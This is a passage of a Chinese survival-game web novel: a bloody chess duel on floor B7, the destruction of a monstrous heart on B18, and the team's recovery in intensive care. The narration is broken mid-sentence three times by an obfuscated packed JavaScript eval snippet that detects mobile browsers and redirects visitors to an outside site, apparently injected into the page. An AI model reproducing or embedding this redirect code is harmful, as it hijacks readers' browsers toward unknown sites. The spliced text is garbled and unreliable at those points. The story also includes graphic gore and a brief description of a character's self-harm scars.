冬逢初只能看着初与序受伤。 黑骑士的第三枪直刺初与序的胸口,她勉强后退,枪尖仍在她锁骨上划开一道深可见骨的血痕。鲜血顺着她的手臂滴落,在棋盘上溅开刺目的红。 她的目光在那点红上停留两秒,不动神色地移开。 棋手支着下巴,饶有兴趣地欣赏着。 “真可怜。”他叹息,语气却带着残忍的愉悦,“还是个瞎子。” 棋盘上的血珠缓缓晕开,初与序的手指抵着锁骨的伤口,任由鲜血顺着指缝滴落。血珠坠在方格上,没有渗入,而是诡异地悬浮在表面。 对面,黑骑士的长枪再度举起,枪尖折射着冷光。 “卒,继续前进。”棋手的声音里带着几分懒散,仿佛胜券在握。 初与序没有立刻动作。 她的呼吸很轻,双眼微微眯起,视线扫过整个棋盘。冬逢初的血从禁锢他的方格边缘渗出,与她的血珠在某个角度重叠。 黑骑士冲锋而来。 这一次,初与序没有完全闪避。她侧身让过致命一击,枪尖划破手臂。更多的血流出,溅在棋盘上。 “你在找死?”棋手前倾身体,“为何不避开?” 初与序沉默地擦去胳膊的血。 棋盘边缘,冬逢初低垂着头,凌乱的额发遮住了眼睛。他呼吸微弱,但被禁锢的手指却微不可察地动了动。 棋手的目光在两人之间游走,冬逢初却突然咳嗽起来,一口血吐出,仿佛随时会断气。 “别分心了。”棋手冷笑,重新靠回王座,“你的‘王’快死了,而你的棋…” 他抬手,黑方的“主教”和“车”同时移动,封死了初与序所有退路。初与序被逼到棋盘边缘,后退一小步就会坠落。她的短刀在掌心翻转,刀面反射着微弱的光。 黑骑士、主教和车呈三角合围之势,缓缓逼近。 棋手悠然道:“将军。” 初与序的嘴角忽然极轻地勾了勾: “棋手,请把灯打开看看吧。” 棋手的手指在王座扶手上顿了顿,面具下的眼睛微微眯起。 “垂死挣扎?”他轻笑,却还是随意地挥了挥手。 整个棋盘的灯光骤然恢复,刺目的白光洒落,将血迹照得愈发鲜明。棋手扫视棋盘: 初与序浑身是血地站在角落,冬逢初跪在边缘,黑方棋子围拢过去,一切似乎都在他的掌控之中。 “这就是你想让我看的?你们的惨状?”他拖长声调,正要继续嘲讽。 忽然顿住。 他的视线凝固在棋盘上方。 从高处俯瞰,那些散落的、看似杂乱的血迹,此刻竟连成了一个清晰的图案—— 【王车易位】 初与序的血滴连成一道横向折线,冬逢初的血迹延伸为纵向弧线,两者交汇处形成一个尖锐的三角缺口。当灯光亮起时,血液突然开始逆向流动,重新组合成易位阵型。而黑方弃子的站位恰好围出易位所需的空心方形。 更神奇的是,那些被棋手忽略的“废棋”,都精准地标记了黑方棋子的弱点。 初与序和冬逢初布下了死局。 “你——”棋手猛地站起身,王座轰然倒塌,他终于意识到,初与序根本不是单纯的“卒”,她同时承担了“后”与“王”的布局。冬逢初从头到尾都不是真正的“王”,他的濒死是真,但流下的血也成了关键的移位坐标。 整局棋的厮杀都是幌子,真正的杀招藏在光影交替的视野盲区里。 “你作弊!”棋手暴怒地想要掀翻棋盘。 但已经晚了。 “你自己说的,谁强,谁就能改变规则。”初与序的短刀飞速脱手,竟然自动沿着血线指引的轨迹飞射而出,贯穿了黑方“王”的心脏。与此同时,冬逢初从地上一跃而起,禁锢他的方格早已被血蚀穿。 他的长剑如银龙出渊,直指棋手咽喉。 “将军。”初与序冷冷道。 “你竟用自己的队友当弃子?!”棋手的面具裂开一道缝隙,露出下面扭曲的面容。他的手指深深掐进王座扶手。 棋盘被毁,此刻玩家和棋手站在同一地面。初与序的短刀抵在棋手咽喉,刀尖站着从面具裂缝中渗出的黑色液体。她冷声道: “你还是不明白,我让他退场——” 冬逢初的长剑突然从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16051225|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧面刺来,剑尖精准挑开棋手藏在袖中的暗器。“当啷”一声,淬毒的匕首落在地上。 “——是因为他比胜利重要。” 棋手僵在原地。 初与序的刀剑微微下压:“你犯了三个错误。” ”一,认为我会牺牲队友。二,低估了双生武器的共鸣。” “三,……” 冬逢初突然挥剑,斩向虚空。剑锋过处,整个棋盘的幻想如玻璃般撕裂,露出真实布局。原来他们一直在下立体棋,第三维度才是决胜关键。 “忽略了高度差。”冬逢初抹去嘴角血迹,虚弱地笑道。 棋手的面具彻底崩裂,露出下面非人的空洞,他没有脸。 “要杀我吗?”他的声音突然平静下来,“像对待其他棋子那样?” “比起杀戮,”初与序收刀入鞘:“我希望你送我们离开B7层,回电梯。” 棋手笑了,他缓缓抬起苍白的手指,在空中划出一道幽蓝的弧线。随着“咔嗒”一声,清脆的机械声响起,一部电梯凭空出现在面前,电梯门缓缓打开。 “你们赢了。”棋手的声音突然变得疲惫,“走吧。” 初与序的短刀依然握在手中,刀尖微微下垂。她侧头看向冬逢初,后者再也撑不住伪装,整个人向前栽倒。 “坚持住。”初与序握住他的手腕,触到的皮肤冰凉得吓人。她将他的手腕绕过自己肩膀,几乎是拖着他向电梯移动。冬逢初的鞋底在地面上拖出长长的血痕,他垂着头,呼吸微弱得几乎察觉不到。 棋手在身后突然开口:“我能知道你的右眼是怎么变成现在这样的吗?” 初与序的脚步顿住。 她背对着棋手,没有立即回答。 几秒后,初与序微微侧头,右眼在碎发的阴影下显得格外暗淡,她叹了口气: “……小时候的事了。” 她的声音很轻,却沉重得让人无法追问。即使不带任何情绪,棋手忽然觉得,她在难过。 电梯门缓缓闭合,在最后的光隙里,她看见棋手弯腰捡起地上碎裂的面具碎片,而整个棋盘正在化作灰烬消散。 “B7楼,返回。”初与序一手拉着冬逢初手腕,另一手掏出对讲机,“一会见,随歌准备好治疗,这边有一位……”她的目光落到自己伤口上,无奈改口,“两位伤员。” “双生武器的事…别让他们担心…” 冬逢初的气音擦过她耳畔,初与序侧头,发现他半睁着的眼睛里带着笑意。 “不和他们说。” 电梯开始运行,初与序让他靠坐在角落,也管不了什么男女有别了,解开他早已被血浸透衬衫。伤口比想象中更糟,毒素已经蔓延到心口附近。 “别睡,保持清醒。”初与序掐了一下他的手背,“一会就见到随歌他们了。” 冬逢初闷哼一声,睫毛颤了颤,用口型说了三个字。初与序没看见,用力按住了他出血最严重的伤口。 电梯显示屏的数字从-7开始跳动,而某个角落的监控探头,正无声地转动。 50.死亡电梯 电梯发出刺耳的“叮”声,来到最底层B18层,铁门缓缓打开。 浓重的血腥味瞬间弥漫开来,走廊上等待的三人同时回头。 电梯里,两个血人。 初与序半靠在电梯壁上,手臂死死揽着冬逢初的腰,他的头无力地垂在她肩上,整个人几乎是被她拖出来。两人的大衣都被血浸透,看不清原本颜色。 “我操!”随歌的竹扇掉在地上,“你们这是去血池里转了一圈?” “快来帮忙。”初与序无奈道,“冬逢初中毒了。” 江意已经一个箭步冲上去,减轻冬逢初的重量,景明垂则扶过初与序。 冬逢初被小心地转移到相对安全的房间,房间似乎是间废弃的医疗室,墙上的药品柜虽然空了,但手术台还能用。 “我来我来。”随歌捡起竹扇来到最前面,“本帅哥可是全服第一治疗师。” 竹扇展开的瞬间,水雾般的治愈能力缓缓笼罩冬逢初的身体。但毒素已经蔓延到心脉,随歌皱了皱眉头。 “得先清创。”他抬头看了眼满身是血的初与序,突然顿住,“等等,你也……” “先救他。”初与序撑着墙壁站起身,“我和景明垂去隔壁。” 隔壁房间堆满破损的医疗器械,景明垂反手锁上门,立刻去扶摇摇欲坠的初与序:“你伤到哪了?” “轻伤。”初与序慢吞吞解开大衣,里面的白色衬衫已经被血浸得看不出原色,右肩一道深可见骨的伤口还在渗血。 景明垂沉默片刻:“你管这叫‘轻伤’?” “比起冬逢初,是轻伤。”初与序自己用酒精冲洗伤口,“B7层是改编版童谣,那里的棋手很厉害。” 隔壁突然传来冬逢初的闷哼,接着是随歌的骂声:“别动!再动老子把你绑手术台上!” 初与序的手顿了顿。 “有随歌在,他不会死。”景明垂接过纱布,忽然掀起初与序的后衣摆,“你这处贯穿伤怎么回事?” 初与序趴在病床上,任由景明垂处理伤口:“红皇后的脊椎骨鞭…” 她的声音越来越低,最后几个字说得听不清。景明垂低头一看,初与序竟然昏睡过去。她摇摇头,继续处理伤口。 但下一刻,她的手悬在初与序后背上迟迟没有落下。 白皙的皮肤上,狰狞的伤疤纵横交错,有些已经泛白,有些还带着淤青。这些伤,让景明垂突然想起《十只兔子》副本里,初与序中毒时,几人看到她小腿上类似的伤疤的场景。 她记得当年在善佑青少年医院里,初与序换药时她也瞥见过那些伤。 景明垂像是想到了什么,目光落到初与序的左手手腕处,伸出手小心翼翼地扒开衣袖。 衣袖滑落,露出的一截手腕处排列着十几道整齐的刀疤,每一道都精准地避开主要血管,深浅一致。 没等景明垂没反应过来,初与序突然睁开眼睛,左手猛地扣住她的手腕,力道大得几乎要捏碎骨头。 两人的目光在昏暗中对视了几秒,初与序缓缓松开手:“……抱歉,条件反射。” 景明垂没追问,帮她继续缠绷带,甚至在最后打了个漂亮的结。 隔壁传来冬逢初的咳嗽,接着是随歌略显疑惑的声音,他好像问了一句话,两人沉默片刻,随后是江意冷静的指挥。 初与序站起身,重新套上血迹斑斑的大衣。两人对视一眼,一同走出临时医疗室。 走廊上,随歌扶着勉强恢复意识的冬逢初,他的脸色依旧惨白,但至少能站稳了,只是呼吸间仍带着细微的颤音,毒素未完全清除。 但随歌和江意的表情变得不太好,似乎看到了什么震惊的事。 “你们怎么这个表情?”景明垂靠在墙壁上。 随歌瞟了冬逢初一眼,最终摇摇头:“…算了没什么。” “情况。”初与序简短地问。 江意抬起机械手环,全息投影展开,显示出B18层的立体结构图。整个楼层呈巨大的圆形,中央是一个深不见底的垂直空洞,周围环绕着扭曲的回廊。而在空洞正上方,悬浮着一颗漆黑的、搏动的巨大肉瘤,表面布满血管,像一颗被污染的心脏。 “这就是背景上说道,‘黑暗心脏’,楼层核心。”江意说,“这一层称作‘深渊之口’,必须摧毁那颗心脏,否则所有人都会被这座楼消化。” 随歌用竹扇指了指投影上几个红点:“心脏每搏动一次,楼层结构会重组,我们的退路可能消失。靠近心脏时,精神和□□会受伤。” “最后,必须五人同时触碰心脏才能摧毁它,缺一不可。” 随歌合上扇子敲了敲手:“总而言之,要玩命。” “本来我们的计划是,初与序和冬逢初正面突破,吸引心脏的腐蚀攻击。但现在这俩重伤号不能凑一起,于是改成初与序和景明垂走正面,我和冬逢初从侧面破坏血管。意哥用重力场控制心脏搏动频率。” 走廊里只剩下应急灯惨白的光,黑暗心脏的搏动声从脚下传来,像某种远古巨兽的心跳。 “等等…”初与序忽然开口,“心跳频率变了。” “哈?”随歌不解,“你是咋听见的?” 初与序指了指自己眼睛:“我眼睛不好,所以听觉灵敏。”她从腰间抽出短刀,“我说心跳频率变快了,是指……” 整条走廊的墙壁突然向内收缩半米,天花板簌簌落下血肉碎块。初与序一把拉起景明垂的手,拔腿就跑:“它发现我们了,快跑!” “我靠你不早说!”随歌哀嚎,立刻分头拔腿狂奔。 两人冲向最近的应急通道,景明垂的琴弦在手中绷紧,飞快甩向天花板:“上面!” 初与序几乎同时跃起,短刀斩断从通风口扑来的触须。被切断的触手在地上扭曲成诡异的字母:「STOP」。 景明垂冷笑一声,琴弦绞碎第二波袭来的触手。她们踹开通往核心区的铁门,映入眼帘的是被悬挂在穹顶的数百具融化的尸体。 每具尸体的胸腔都延伸出一根血管,连接着中央那颗三层楼高的黑暗心脏。 冬逢初和随歌的方向传来某种重物倒塌的闷响,紧接着是随歌标志性的骂街:“操!这玩意还带复活甲?” 看来西侧走廊的活体陷阱比预想的更难缠。 转过拐角,眼前整面墙都是跳动的血管,像无数猩红的巨蟒纠缠在一起。而在血管丛中央,嵌着三具尚未消化完的尸体,他们的胸腔被强行改造成血肉塔,正不断发射着精神污染信号。 “信号会让人产生幻觉。”初与序的短刀横在身前。 景明垂的琴弦已经缠上最近那具尸体的脖颈:“我控场,你斩首。” 琴弦绷紧的瞬间,整面血管突然痉挛,初与序趁机突进,刀光闪过,三颗头颅同时落地。 忽然,“轰!”一声,东侧传来爆炸声,天花板簌簌落下碎渣。江意的机械手环响起超频运转的嗡鸣声,看来他找到备用能源室了。 她们斩断最后一道血管屏障时,整个B18层突然剧烈震动。黑暗心脏的波动频率骤变,从规律的“咚、咚”变成了急促的“咚咚咚”。 景明垂猛地扯出缠在血管里的琴弦,“冬逢初他们……” 话未说完,西北角突然亮起刺目的绿光。随歌的竹扇的治愈能力居然凝成实体,像探照灯般穿透层层肉壁。他在玩命治疗,说明那边肯定出事了。 初与序冲向核心区,景明垂的琴弦在身后织成防御网,切断追击的触须。 当她们终于抵达深渊之口边缘时,黑暗心脏已经彻底苏醒,表面裂开无数道缝隙,每道缝隙里都嵌着颗转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16057722|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的眼球。而它下方悬着的,是被血管缠住四肢的随歌和冬逢初。江意则被困在重力场内,机械手环过载冒出火花。 初与序的短刀指向那颗巨大心脏,景明垂的琴弦缠上她的手腕:“按原计划?” “不。”初与序盯着冬逢初滴落的血。那些血在下坠过程中,竟然全部飘向心脏某处特定位置,“我们找到弱点了。” 那些血珠违背重力,在空气中划出蜿蜒的轨迹,最终全部汇聚到心脏右下方某处。景明垂仔细一看,那里有块巴掌大的区域,血管分布呈现出诡异的放射性纹路。 “你看到那个漩涡状纹路了吗?”景明垂压低声音,“所有血管都在那里形成死循环。” 初与序没有回话,转头沉默地看着景明垂。 “哦不好意思,忘记你视力不好了。”景明垂淡淡道,“不出意外那里是控制痛觉的中枢。” 琴弦突然绷直,景明垂从面板中拿出之前副本奖励:三枚金属圆扣,将它们弹向不同方位。圆扣在触碰到心脏表面的瞬间爆炸,炸开的烟雾里带着刺鼻的硫酸味。 心脏的所有眼球同时转向爆炸点,就在这短暂的盲区里,初与序如离弦的箭般冲向目标区域。 冬逢初似乎感应到什么,剧烈挣扎起来。更多的鲜血从他伤口涌出,在空中凝成清晰的血线。这些血珠诡异地避开了所有防御血管,像被某种力量牵引般,全部滴落在那个漩涡纹路上。 随着“滋啦”的腐蚀声响起,被血沾染的区域的血管开始萎缩,露出下面薄膜状的脆弱组织。 “不是我说,冬逢初你别把自己当血包使啊!”随歌叫道,“我刚给你止住血!” 冬逢初没回答,他抬起血迹斑斑的脸,扫了一眼远处阴影里行动的初与序。新涌出的血从他嘴角滴落,精准地落在漩涡状血管纹路的正中心,也是最后一处关键位置。 “再放血老子把你阉了信不信!”随歌气得大骂。 “不放了,够了。”冬逢初说。 血珠滴落的刹那,黑暗心脏骤然痉挛。 初与序的视线锁定在那片被鲜血浸染的漩涡纹路上:血管萎缩,薄膜颤动,暴露出下方脆弱的组织。 就是现在! 她的短刀抵在那片漩涡状纹路上,触感像戳进一团带电的凝胶。薄膜下的组织剧烈收缩,试图绞碎入侵者,但冬逢初的血仍在持续腐蚀防御层。那些血珠像活物般在血管网络里逆向游走,所到之处,猩红的管壁纷纷坏死。 所有嵌在表面的眼球疯狂转动,瞳孔缩成针尖大小。 初与序手腕猛地一拧,像转钥匙般横向发力。刀锋顺着血管自然生长的螺旋纹路划开整片薄膜。 黑血喷涌的刹那,整颗心脏如同被按下暂停键。那些血管以肉眼可见的速度干瘪枯萎,像突然被抽空生命力的蛇。 深渊之口发出最后一声非人的嚎叫,天花板开始大面积剥落,露出后面锈蚀的金属框架。 缠绕冬逢初和随歌的血管齐齐断裂,四人下坠的瞬间,江意的机械手环爆发出刺目红光。 【重力反转】 下坠的四人突然悬停在半空,随歌的竹扇展开到极限,翡翠色的治愈波纹在空气中织成缓冲网,景明垂的琴弦缠住暴露的钢梁,为所有人提供着力点。 但初与序仍在坠落。 她刚刚那刀借了全身重量,此刻正随着崩溃的心脏残骸一起跌向深渊。就在系统打断播报她死亡消息的下一秒,剩下四个队友突然挣脱重力场,冬逢初的长剑脱手飞出,剑身横卡在两道钢梁之间。 初与序凌空抓出剑柄,悬在深渊上方。她抬头,看见江意在调整重力场,而景明垂和随歌趴在边缘伸出的手,袖口全是血。 “快抓住我们!”随歌焦急道。 初与序被两人拽了上去,保下一条命。 51.死亡电梯(完) 江意弯腰拾起那颗仍在跳动的正常大小心脏,触感像握着一块干冰。心脏表面浮现出细密的血管纹路,隐约还能看到五个凹陷的手印轮廓。 “还差最后一步。”他喘了口气,“需要五人同时……” 话未说完,整层楼突然震动起来,被摧毁的心脏骸骨开始再生,血管从四面八方涌来,试图重新包裹心脏。 “没时间了!”景明垂的琴弦搅碎袭来的血管。 冬逢初撑着剑站起身,剑尖在地上拖出长长的血痕。随歌一把扶住他,自己的竹扇的治愈能力快耗尽,此刻泛着暗红色光芒。 五人围成圆圈,江意将心脏抛向圆心,在它下坠的瞬间: 冬逢初染血的手掌最先按上去,心脏顿时亮起血管状的红色纹路,他的伤口再次崩裂,血顺着纹路流淌。 “操…”随歌龇牙咧嘴地拍上第二掌,有血从他嘴角溢出,“这东西在吸生命力啊。” 江意伸手贴上心脏表面,景明垂紧随其后。当她的指尖触到心脏的刹那,整颗心脏突然变得透明。心脏内部浮现出一段全息影像: 无数玩家前赴后继地触碰心脏,每个团队都以为自己是破解者,但实则所有人的生命力都被吸收,最终滋养出新的黑色心脏。 用破解者的生命,孕育下一场游戏。 “这才是真正的副本规则。”初与序淡淡道。 冬逢初突然翻转手腕,将长剑刺入心脏下方的地板:“那就改写规则。” 景明垂的琴弦突然绷直,血珠飞溅到心脏上,她意识到什么:“是我们在…污染它?” 随歌笑起来,竹扇最后一丝治愈能力逆向灌注:“以毒攻毒是吧?” 心脏开始不规律地膨胀收缩,发出玻璃碎裂的脆响,表面的手印凹陷出,几人的血竟然开始逆向流动。不是被吸收,而是带着各自的特殊能力反灌进核心,正在内部引发连锁爆炸。 “退后!” 五人刚撤到安全距离,心脏就炸成无数碎片。每一块碎片都在空中汽化,形成诡异的黑色雾霭。整层楼开始整栋,墙壁扭曲变形。 天花板突然剥落大块混凝土,露出后面蠕动的血肉组织。那些阻止飞速腐败发黑,散发出刺鼻的腥臭。 “电梯!”随歌指向走廊尽头,一部电梯不知何时出现在哪里,门缝里渗出惨白的光。 整层楼突然倾斜,地面像海浪般起伏,五人终于在电梯门合拢的前一秒冲进电梯。初与序回头,透过缝隙看到整个B18层正在向内坍缩,墙壁、天花板、地板全部扭曲着被吸入那个黑暗心脏原本所在的位置。 电梯开始上升,显示屏的数字从-18开始跳动。轿厢里只有粗重的喘息声,冬逢初靠在角落,脸色白得吓人。随歌掀开他衬衫下摆,发现伤口又开始渗血。 “毒素没清干净,再坚持一下,马上回永冬之城了。”随歌按住他右手脉搏检查。 电梯门缓缓打开,外面是熟悉的来路。D019次列车静静停靠在大楼前方的迷雾之中,车门缓缓滑开,列车长依旧是J23,此刻正嗑着瓜子等待五人上车。 【恭喜各位玩家通关副本《死亡电梯》】 【滋滋…滋…】 【警告:核心数据损坏】 【因玩家异常操作导致B8层、B18层永久性损毁,该副本现已被强制封闭】 【奖励结算异常,正在重新评估…】 【经系统裁定,本次通关方式违反副本基础运行规则,仅发放基础积分45分/人】 【所有特殊奖励物品冻结】 五人:“……” “对,B18层是我们炸的我承认。”随歌点头,没好气道,“那B8层他妈是谁炸的?!系统你别污蔑人啊!” 初与序和冬逢初同时咳嗽一声,初与序面无表情:“我提议炸掉的。” 随歌:“???” 几人想起初与序通关第一个副本《灯影诡村》时,放了四次火,引发了一场爆炸。 “这也不对!”随歌竹扇“啪”地甩开,第一个走上列车,“我们拼死拼活通关,连个奖励都没有?!等回去我要找执行官吵一架。” J23翻了个白眼:“心脏被污染,副本崩溃,系统不开心,执行官当然也不会给你们奖励。” “你怎么知道?”景明垂问。 “你们的战绩被投放到执行官屏幕上,让我们重修副本装置。”J23的语气里全是打工人的无奈,“哦对了,恭喜你们,你们又上了热搜。” 江意摁开手机,永冬之城论坛的首页赫然挂着他们的壮举: #震惊!“拯救世界顺便偷草莓牛奶计划组”暴力通关《死亡电梯》,副本核心被永久破坏! #底下评论区疯狂刷新: 【用户A】:他们是不是疯了?连副本都敢拆? 【用户B】:听说他们受了重伤,这个副本通过率极低。 【用户C】:何止是极低?我记得上次全服前几,经常戴白色面具的那个玩家进入,一直没回来,刚刚播报了他的死亡消息。 江意“啧”了一声,自动略过第三条评论,抬头看向J23:“帮个忙。” 列车长的手指在面板上敲了几下:“封锁消息?” “对。”江意点头,“尤其是队伍所有人都受伤的事。” J23眨了眨眼,最终叹了口气:“行吧,但瞒不了多久。”她输入一串指令,论坛上的讨论热度立刻被强行压了下去,取而代之的是一条官方公告: #《死亡电梯》副本进入维护期,具体情报暂不公开# “谢谢。”江意勉强站直身体,却捂嘴咳嗽起来,指缝间渗出暗红的血。 列车在永冬之城车站停下,J23摇摇头:“不用谢,赶紧滚去住院,看你们队伍两人都伤成啥样了?D19在医院等你们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16057723|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初与序和冬逢初被优先送进了重症监护区,当初与序被推进手术室时,她模糊地看见冬逢初陷入昏迷,躺在隔壁床上,被医生推往另外的手术室。 火腿面包从D栋赶过来,跳到她床边,芝麻眼睛睁得圆溜溜地看着浑身是血的她:“初与序!你可别死啊…我还没教会你唱《十只兔子》…” “……”初与序想骂它,却发现自己连抬手的力气都没有。 两间手术室门关闭的瞬间,系统提示音在五人耳边同时响起: 【警告:玩家生命体征异常,强制进入修复状态】 而在永冬之城论坛的暗网板块,一条加密帖子悄然浮现: #盯紧他们# 江意靠在医务室墙边,手死死捂住胃部,冷汗顺着下颌滴落。D19正替他缝合肩上深可见骨的伤口,眼底全是担忧。 “你这次伤得不轻,再加上胃癌的侵蚀值又升高了。”D19严肃地说,“再这样下去,系统也保不住你的命。” 江意扯了扯嘴角,没说话。 D19叹了口气,将最后一针缝合线打结,顺手调高了镇痛剂的剂量。江意闭了闭眼,感受药物在血管里流淌,暂时压下剧痛。 “我已经屏蔽系统监听了。”D19压低声音,确认无其余玩家在场,“这次副本的事,你怎么看?” 江意睁开眼,眸底一片冷意:“有人故意针对冬逢初和初与序。” “他们没和你们说,怕你们担心。我还以为你没猜到。”D19扬眉:“因为双生武器?” “嗯,那两件武器太稀有了。”江意的声音很轻,“如果我猜得没错,那人潜入副本,故意重伤冬逢初,利用武器共鸣引初与序入局。” “你觉得他会是谁的人?”D19问,他明白能下场的玩家一定不是幕后黑手。 “近期在查双生武器的队伍不少,包括‘屠宰场’那支队伍的队长。”江意淡淡道:“我不确定他是不是齐无尽的人,但齐无尽现在也在调查双生武器的事。” D19手指在虚空中调出一份机密档案:“系统后台显示,最近有高层玩家频繁查询你们队伍的资料,尤其是冬逢初和初与序的武器共鸣数据。”他看向江意,“你和齐无尽关系较好,他知道冬逢初和初与序是你的人,还会动他们?” “他不算什么好人,但也不像是会明目张胆动他们的人。”江意皱眉。 D19犹豫了一下,还是开口:“你们现在全员重伤,如果消息泄露,一定会出事。” “所以必须全面封锁。”江意声音低沉,“尤其是冬逢初和初与序的情况。” D19点点头,眼里闪过一丝决然:“我会去加强医疗中心的监控,但你们自己也要小心。” “还有,系统没分发你们的奖励,随歌肯定会闹,记得拦住他,别让系统注意到他。” 江意戴上眼镜,缓缓站起身:“好,谢谢你。” 52.重症监护室和病友 经过医生数小时的抢救,冬逢初和初与序脱离生命危险,但伤势过重,被双双推入重症监护病房。 初与序在剧痛中缓缓睁开眼,视线模糊了一瞬,才逐渐聚焦:惨白的天花板,熟悉的消毒水气味,输液管里的药液一滴滴落下。她抬手想遮挡光线,发现自己手臂缠满了绷带,稍微一动就牵扯到肩膀上的伤口,疼得她倒抽一口冷气。 病房里很安静,只有医疗仪器规律的“滴滴”声。她吃力地撑起身靠在枕头上,侧过头,看到冬逢初躺在隔壁床上,依然昏迷,氧气面罩覆在他苍白的脸上,胸膛缠着厚厚的绷带,起伏微弱但平稳。 两人的耳骨夹被取下,并排放在一起。两枚金属在无人注意的瞬间,微微闪烁了一下,像是仍在无声共鸣。 “咳咳……”另一床传来咳嗽声。 初与序侧眸,看到那床坐着一位女生,竟然是D栋803的女警,也是全服排名第二的回北。她短发散乱,正低头削苹果,果皮练成完整的一条,落进垃圾桶。 “你睡了将近一整天。”回北抬了抬下巴,指向病房另一侧,“医生说你队友死不了。” 初与序哑着嗓子问:“你怎么在这里?” “巧了不是?”一个懒洋洋的男声插了进来。 初与序转过头,病房门被推开。D栋801的道士从走了进来,病号服松松垮垮地挂着。他的眉钉在灯光下闪着银光,手里还拎着半袋葡萄糖输液,针头晃晃荡荡的。 “我们队五人刚从一个《鬼新娘》副本爬出来,差点全员折在里面。”他自来熟地说道,“那喜服下面藏了三百根毒针,专扎大腿动脉。最近的副本总喜欢给玩家下毒,你们队的冬逢初也中毒了吧。” 回北冷笑:“活该,谁让你非要掀盖头。” 道士耸了耸肩,凑到初与序床边:“我叫向枝冥。我知道你是新人玩家第一,久仰大名。”他忽得压低声音,“说起来,你们这次搞出的动静可不小啊,《死亡电梯》的副本核心直接被你们炸了。” “所以,你们在副本里干了什么?能把整个副本两层楼都炸了?” 初与序神色平静,目光扫过向枝冥和回北。 她在积分排行榜上见过“向枝冥”这个名字,他是全服第五,而回北是全服第二。这两人都是顶尖玩家,他们的队伍更是随歌曾经提到的“难缠角色”。J23虽然封锁了消息,但对于这种级别的玩家来说,真相从来不是靠系统公告就能掩盖的。 她轻轻呼出一口气:“有人提前混进副本,想杀我们。” 回北挑眉,短促地笑了一下:“果然。” “是冲着你们双生武器来的吧?”向枝冥懒洋洋道,“我怀疑是齐无尽的人。不过…他虽然投靠了系统,但还不至于用这种下作手段。” “你们最近得罪谁了?”回北把削好的苹果切成小块,示意初与序拿一块。 初与序拿起一小块:“得罪的人…挺多吧。仇恨值拉满。” “四年前我和回北刚来这里时也是新人前几,一进副本就有一大堆老玩家追杀。”向枝冥说,“你们也被盯上了,有玩家专门盯着高层新人玩家下黑手。” 初与序淡淡地“嗯”了一声,不再多言。有些事点到为止就够了。 向枝冥盯着她看了几秒,突然咧嘴一笑:“行,懂了。”他往后一仰,双手枕在脑后,“放心,我们队对背后捅刀子没兴趣,要打也是正面干。” 回北冷哼一声,算是默认。 初与序微微颔首,目光转向隔壁床的冬逢初,却见冬逢初睫毛颤了颤,缓缓睁开了眼睛,和她对视。 回北看了眼冬逢初:“我去叫医生。” 冬逢初试图撑起身子,被初与序一个眼神制止:“别动,伤口会裂。” 冬逢初看着她,勾了下唇角:“那你怎么坐起身了?” “你猜我是怎么知道伤口会裂开的。” “……” 回北把医生叫来时,初与序伤口的血已经染红了病号服。护士发出尖锐爆鸣声,拉上病床周围的隔离帘,蓝色的布帘将空间分割成封闭的小世界。 “别乱动。”护士解开染血的绷带时声音发慌,沾着药水的棉球按在绽开的伤口上,“三处贯穿伤还敢这么折腾?” 初与序没吭声。 帘子外传来医生的声音,正在检查冬逢初的情况: “脏器出血止住了,神经毒素已清除…” “左肩胛骨裂缝需静养一周…” “心灵链接的技能负荷过载导致…” 初与序静静听着。 护士最后固定好绷带,动作很轻。她拉开帘子,光线透了进来:“好了,注意饮食。” 初与序看向胳膊,冬逢初不知何时已经半坐起来,手按在呼吸罩上,隔着病床间的距离,静静地看着她。他的脸色依然惨白,但眼神清明。 医生无奈地按住他的肩膀:“说了不能乱动!给我老实躺着,不然我叫你们队长来了!” 初与序面无表情移开目光。 当她打算重新躺好时,床头抽屉突然被拉开一条缝隙,一颗烤得焦黄的火腿面包顶开抽屉钻出来,芝麻眼睛滴溜溜转着:“憋死我了!你们人类的抽屉怎么这么重!” 向枝冥刚拿出铜线,现在他的铜钱卦象乱成一团:“我操!会说话的面包?!” 回北一脸震惊:“这什么邪门玩意儿?你们队是干嘛的?” 面包正要自我介绍,突然发现冬逢初正盯着自己,立刻缩了缩酥脆的边角:“呃…你醒啦?” 初与序伸手想把面包塞回去,面包灵活地跳到她肩头:“等等!我听到医生说的话了!你们暂时不能心灵感应了对吧?”它骄傲地挺起“胸脯”,“但本面包可以当临时传话筒!” “……” 初与序单手拎起面包,递给护士:“您好,麻烦您把它带出去,交给随歌,它和随歌能聊得来,多谢。” 护士点头,火腿面包被带走后,病房里终于恢复了安静。向枝冥懒散地靠在床头,手指划拉着手机屏幕,突然“啧”了一声,猛地坐直了身体。 